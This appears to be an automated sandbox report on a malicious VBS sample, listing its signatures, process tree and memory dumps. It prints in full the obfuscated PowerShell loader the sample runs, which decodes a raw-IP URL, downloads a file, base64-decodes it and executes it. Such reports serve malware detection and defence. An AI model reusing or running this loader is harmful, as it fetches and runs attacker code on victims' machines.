Analysis
- max time kernel
147s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
15/06/2024, 16:31
General
- Target 5a92802324d8cb6b1c19fee80ea4fc03977917f013d7db2c6ca7683531a9334e.vbs
- Size 13KB
- Sample240615-t1eggaxbrf
- SHA256 5a92802324d8cb6b1c19fee80ea4fc03977917f013d7db2c6ca7683531a9334e
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 5 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5a92802324d8cb6b1c19fee80ea4fc03977917f013d7db2c6ca7683531a9334e.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Topmavens = 1;$Kiggers='ring';$Hkkesaksenes='S';Function Kredse($Cryptogamous){$Pneumonolith=$Cryptogamous.Length-$Topmavens;$Gripsack=$Hkkesaksenes+'ubst'+$Kiggers;For( $Brddevggens=4;$Brddevggens -lt $Pneumonolith;$Brddevggens+=5){$Norland+=$Cryptogamous.$Gripsack.Invoke( $Brddevggens, $Topmavens);}$Norland;}function fejldispositioner($Knyttedes){ . ($Kahytsdrengenes) ($Knyttedes);}$Gipsspat=Kredse 'UcenMApocod vezKapaiS acl,elelNrinaglas/jura5.rgu.Steg0r di Att( anWAntiiToconRetsd.deroFltewth rsPs,c RednNUdstTSwel Im u1Sk.v0 Ren. str0,odt; Eft M,swW AntiSteenTrin6 ppi4Umbr;Qu,d SupexA at6cumf4,hel; ,an CharFlanvEy.n:Trep1trag2Supe1 Tv.. B s0 Pol) ngr BlinGAutoeBlkscDdsyk Re.oAltr/Bli.2Pole0Umul1Forn0Ra s0Demi1span0 A,t1P,eu ChoF ewdiSynir,ampeScrafD.asoAlarxVa.d/Thyr1Mann2reto1Acet.Kabi0Util ';$Esau=Kredse ' PosUAllisRetseTab r T o-Ko.pAP,llg Came AknnDetrtM,di ';$Slaaning=Kredse 'PetrhSpadt UndtRestp Sub:udsa/bash/ rob2 Com1Fejl2Cero. Ter9 Tre5Unc,.Pr.c4 Opf9ja,k.Gyp.1 rak5Eng.9Bry./ yneESa.kmP,ocbPa alIndieAk imSo vaNihitHu,fobamblTitioLurcgIn ay Kup.,ikadParfsSmadp Rut ';$Pizzapakken=Kredse 'Dala>Atio ';$Kahytsdrengenes=Kredse 'Meg,iSalpe ComxRing ';$Calloused='Foreplace';$Mohr = Kredse 'Acoee sescIsidhEnclo,omb Incr%F rtadecipHubbpP omdUdtraro.stStetaPil % Sk,\fyrrN NidiHegekBekmaS emnPssitInc.eScisn ,xt.De aFAnaloHypogDema Traf&F de&Mant ,ldteKonscSju,hAdfroAsko ChyltSyno ';fejldispositioner (Kredse 'Far.$ .algSla,lsji o BehbA,tia pllUpcu:,nstRLundoT,msdTalkuForsdI,aed UoprKlonaSlr.gDininGl miHo.rnChisgUdr e TutrFridsUfor1Bo.l7 ttr2Almu=Al s(InencPreym ffedTabu und /Miljc Tre .lce$P.raMBrstoHalvhUnslrBrun) unf ');fejldispositioner (Kredse 'Asb,$Skr,gRhinl AspoParrbBasta CollFash:SexaN TonesidedPla vPhysuU,clrIndrdShuce ,elr,arteafvadovereHomosDisk=R,sh$ eikSUnapl Disauny aMundnF.rsiOrbin P,igKo,m. BensMirrpPri lSyn iCitrtReso(jour$AnodPsimpiCratz QuazRo.eaBourp K.laKnurkSemikAkine UnpnCar,),rnd ');fejldispositioner (Kredse 'Trac[Ur.nN Tete,tortIron.,eniS Opve assr BlevEr.biGrifchabieDioeP PreoDilliSaddn RadtNimrM .laaBurenMisia Kumg To eVur,rPred]N ns:Ek p:B,igS AnaeTopnc ariu SemrIm.eiSt mtPeany,hriPBistrUn.ho taatMlkeo Telc un,oProml Cos Kult=Rife Sati[SlurNOrdredepat ,il.LivsS Lu,ePse,cSquauCle rArchiSubttParay,nshPbeharSam oB ootForloPrerc Eleo SynlEntrTOps,yShacpBevgerokk]Inte:uree:photTGangl.ntesIns,1 Ov.2nons ');$Slaaning=$Nedvurderedes[0];$Gtz= (Kredse 'Aff,$ efigRejnl PseoCentbAppla .url Jus:F,lctAsterOveroGbaks te,k AdmaMetrbAutosprage Hexdfol sDam,=NapoNcheceRombw.mpu-D,spO AllbRevujKompeCollcY petUnse SlumS,ausy BarsStentR.vee C.imAkti.DrabNMilje.csttMi u. LaaW dlieFlorbL vaCUndelPr,riOvereNonvn.chot');$Gtz+=$Roduddragningers172[1];fejldispositioner ($Gtz);fejldispositioner (Kredse 'Init$sup.tElverNatuo B.gsVanekAfveaUnbrbcampsBa heAr,ed MarsFakt.tenuHLocue,ranaPlejdTe keUnsorBahas Oph[beat$exedEAuxasCanaa Laluu.ge]Papy=Bapt$S,ngGKeepiTe.rpOgmisLambsC,llp ,liahi.gt Con ');$Differentier=Kredse '.uss$Skalt FugrOpdroWencsL thk Elea S abKanasGalleGenedU rasdata. ,elDTi.to utgwcaudnRveslHusfo CetaSwindL,ftFDig,i PrelBibleGymn(Erga$smalS,tamlSrklaGunoaUb.enMeani .lanPro.gMae ,Styr$remab nsj.arseLunerEv ngF renDoksiMelonU megMisasKom,a PomkFamitPartiBirgoTvr,nEvenePyronHy o)Shi ';$bjergningsaktionen=$Roduddragningers172[0];fejldispositioner (Kredse ' kra$BodigKarrl Fino .krbVimpaFlaglFell:SammA Tilk pskkEntrlStati.fbemB.laa,atatDispiF.rmsIndbaTelet,vivi StuoFrysnLedeefouln ten= bli( ,arTTa,pekv ls SiltPaci-klapPNar,aSkv tFlashSagg Out,$Fup b.ryljFinaeHallr pkgp ein Mo,i Sk,n angg,ngds HelaSnubk BestOgamiBrusoPjadnHaaneEmisnUlin)Blin ');while (!$Akklimatisationen) {fejldispositioner (Kredse 'Inju$ Rapg.njol,aeko .agbRisiaLenglUnta:Spi.C moraRel,pst,ee UncrAsvhnGimbaUnexiP.ivt GaniRemicDete2S ar2Grou8 Skr= lin$Lgnht oofr MeeuBaroeBrac ') ;fejldispositioner $Differentier;fejldispositioner (Kredse ',louS,ilatBitea A.grL pttObve-UnviSCarolKamee knoeTitepFors Thy.4 Ala ');fejldispositioner (Kredse 'Efte$BehogU.uglDoktojusqbVigaa BurlCoro: AviA UdrkDykkk LoglPunki chmPeo aIncutIn.fiTilns UncaRetntMineiCharoMordnGrudef,nnnAlth=musa(scumTMopseBr ms Te,tpr,e- aanP UnwaBolitAfskhC,nn Syst$AfvnbE,bujU ice,ardr eggJimsn R.cikav.nK,mugRiddsda,baChorkBri,tChariEccro Snin PegeEiten Fos)Udlo ') ;fejldispositioner (Kredse 'S.bc$F rrg Gonl ronoO.ivbKonta ekslr dd:Be zV,ulteRealnAlted Fima C.gcBevie.ryd1Forb5 Gr 1 ab=Per.$radigHerrl ragoPeopbMinia ortlBur,: KobD V seSabagJa keGla.nOps eNa.urA.caa RantParlibrneoJulenGrafs.elotVagteHexagWaapnO.fas enn+Nigh+Doce%Skih$Mi tNDe.oe pondBladvUnrouKongr.lekdA che Towr,abae .endHea,eInexs H.t.L,mfc BegoA,lmuGemsnGluctC to ') ;$Slaaning=$Nedvurderedes[$Vendace151];}$Frightened=335282;$Tegneprogram=27668;fejldispositioner (Kredse 'Seco$ EntgInt,ls mmoAutobB,zeaTilblH ls: ersBar.ayBugtkTh,re TilrBarbnAcc e,homnM.on Toni=Igno Arc.GAn.eelemptArth-vaniC Bieo BlentanhtStateSabbngurgt sc, Delu$ s rbrekyjTr,ceOpvarLa,tgU tanShati.iten entgBekes HjtaHonek,kaat TysiOo,oo Disn,xtee.ritnM.cr ');fejldispositioner (Kredse 'S.ov$KartgEnnelMaskoV ndbForkaByzalReme:HardpFrimaRay,nsammiEje,oGre,nDe iiBekoaVowenToma lit,=Udk, Und[SeasSRedry SupsGldet,gleeG anmMagn.YorkC kggoKuglnSandv.mpueExtrrStaat Que]spec: Int:EndoF.istrUndeo Li.mPyroB NanaIsoms Cu eD.st6.mme4 ArbSFlektGiggrDeadiNontn Ting Som( Klo$GurdBExeryTrank Hyge D,rr Pokn,ajaesvesnAbbo)Graf ');fejldispositioner (Kredse 'Afsb$A.iagMo,olHe,toBnd.bResca.agblWi,n:PlaiV Kftet.pel,nsolUdee1 hel5Gamm3 Non Revo=Sigi Fe,[ArchSL.geyBes,s.dontSoloe ilymTvrl.Spl TD,moe.neyxVo.at An,.OblaEEften SavcSmitoPhondE.oxiCharnDecigV gi]Macr: Sy,: By APresS De.C,ensIh,stIBo,t.VoltG B,ueS rktundeSBe etCheir S.piModanCompgBany( ,ar$Varap ,seaRetenB,yniMatao TelnLikri .ntaTaxgnSk i)Masq ');fejldispositioner (Kredse 'Cryp$BundgCo,jldissoVirgbdiesaVigol Fam:S ilbDurka KnssUnobs,atae Ha tRestt O.eeAnhunCleas Luf=Nobe$RustVInfee Be,l Deml ,em1 med5 Un 3Cons. Er.sMilluOli.b Wi.sUjv,tParlrPle iFlannBrevgGros(Ki.d$Re.uFPhonrOveriRonng arihphtht eseeSpornUnd e InvdArgu, Be.$s.olT Haresmm gSaccn.dryeRestpSkytrFraboLa tggoslr Amaa Henm Dam)Inve ');fejldispositioner $bassettens;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nikanten.Fog && echo t"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_m5tzfgfl.r1x.ps1
memory/2380-0-0x00007FF8E3E23000-0x00007FF8E3E25000-memory.dmp
memory/2380-6-0x000001FF7D200000-0x000001FF7D222000-memory.dmp
memory/2380-11-0x00007FF8E3E20000-0x00007FF8E48E1000-memory.dmp
memory/2380-12-0x00007FF8E3E20000-0x00007FF8E48E1000-memory.dmp
memory/2380-13-0x00007FF8E3E20000-0x00007FF8E48E1000-memory.dmp
memory/2380-14-0x00007FF8E3E23000-0x00007FF8E3E25000-memory.dmp
memory/2380-15-0x00007FF8E3E20000-0x00007FF8E48E1000-memory.dmp
memory/2380-16-0x00007FF8E3E20000-0x00007FF8E48E1000-memory.dmp